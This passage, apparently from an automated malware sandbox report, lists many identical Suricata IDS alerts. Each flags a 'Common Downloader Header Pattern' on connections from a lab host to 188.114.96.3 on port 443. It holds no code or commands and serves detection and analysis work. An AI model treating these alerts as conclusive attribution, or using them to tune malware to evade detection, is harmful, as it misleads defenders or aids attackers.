Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50166 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50188 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50196 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50190 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50115 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50162 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50096 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50205 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50164 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50170 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50103 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50031 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50141 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50201 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50237 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50233 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50239 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50240 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50184 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50021 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50200 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49971 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50198 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50218 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50197 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50191 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50235 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50203 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50195 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50177 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50206 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50185 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50234 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50121 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50193 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50154 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50221 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50253 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50176 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50243 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50246 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50245 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50261 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50174 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50254 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50211 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50259 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50159 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50171 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50204 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50251 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50194 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50059 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50109 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50232 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50264 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50269 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50213 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50212 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50260 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50258 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50217 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50165 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50262 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50249 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50266 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50181 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50256 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50214 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50276 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50272 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50268 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50282 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50210 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50286 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50183 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50231 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50090 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50173 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50289 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50169 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50236 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50220 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50208 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50294 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50302 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50230 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50129 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50299 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50292 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50274 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50305 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50304 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50189 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50182 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50290 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50207 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50283 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50244 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50293 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50281 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50273 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50215 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50297 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50160 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50307 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50311 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50315 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50219 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50317 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50314 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50224 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50321 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50319 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50322 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50241 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50285 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50179 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50323 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50278 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50313 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50222 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50175 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50334 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50288 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50332 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50331 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50255 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50267 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50337 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50344 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50330 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50336 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50306 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50216 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50327 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50360 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50358 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50250 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50333 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50295 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50359 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50225 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50343 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50362 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50354 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50367 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50277 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50361 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50335 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50325 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50364 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50340 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50199 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50280 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50326 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50342 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50365 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50339 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50363 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50238 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50263 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50377 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50368 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50308 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50356 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50379 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50371 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50383 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50386 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50346 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50391 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50279 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50209 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50287 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50227 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50252 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50350 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50390 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50401 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50402 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50396 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50374 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50369 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50298 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50376 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50301 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50353 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50382 -> 188.114.96.3:443
